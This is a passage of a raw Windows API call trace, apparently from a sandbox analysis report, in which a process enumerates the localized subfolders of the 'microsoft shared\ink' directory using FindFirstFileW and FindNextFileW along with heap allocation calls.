ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.607] GetProcessHeap () returned 0xc00000 [0091.607] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.607] GetProcessHeap () returned 0xc00000 [0091.607] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ko-KR\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.607] GetProcessHeap () returned 0xc00000 [0091.607] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.607] GetProcessHeap () returned 0xc00000 [0091.607] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\LanguageModel\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.609] GetProcessHeap () returned 0xc00000 [0091.609] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.609] GetProcessHeap () returned 0xc00000 [0091.609] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.609] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lt-LT\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.613] GetProcessHeap () returned 0xc00000 [0091.613] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.613] GetProcessHeap () returned 0xc00000 [0091.613] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\lv-LV\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.613] GetProcessHeap () returned 0xc00000 [0091.613] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.613] GetProcessHeap () returned 0xc00000 [0091.613] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.613] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nb-NO\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.614] GetProcessHeap () returned 0xc00000 [0091.614] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.614] GetProcessHeap () returned 0xc00000 [0091.614] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.614] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.615] GetProcessHeap () returned 0xc00000 [0091.615] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.615] GetProcessHeap () returned 0xc00000 [0091.615] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.615] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.615] GetProcessHeap () returned 0xc00000 [0091.615] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.615] GetProcessHeap () returned 0xc00000 [0091.615] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.615] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.616] GetProcessHeap () returned 0xc00000 [0091.616] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.616] GetProcessHeap () returned 0xc00000 [0091.616] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.616] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.617] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.617] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.617] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.617] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.617] GetProcessHeap () returned 0xc00000 [0091.617] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.617] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0091.617] GetProcessHeap () returned 0xc00000 [0091.618] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.618] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.618] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.619] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.619] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.619] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.619] GetProcessHeap () returned 0xc00000 [0091.619] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.619] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x400, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0091.619] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0091.619] GetProcessHeap () returned 0xc00000 [0091.619] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.619] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.619] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.620] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.620] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.620] GetProcessHeap () returned 0xc00000 [0091.620] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.620] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x400, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0091.620] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0091.620] GetProcessHeap () returned 0xc00000 [0091.620] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.620] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.620] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.621] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.621] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.621] GetProcessHeap () returned 0xc00000 [0091.621] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.621] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0091.621] GetProcessHeap () returned 0xc00000 [0091.621] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.621] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0091.621] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.621] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0091.621] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0091.622] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0091.622] GetProcessHeap () returned 0xc00000 [0091.622] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0091.622] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x400, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0091.622] GetProcessHeap () returned 0xc00000 [0091.622] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0091.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 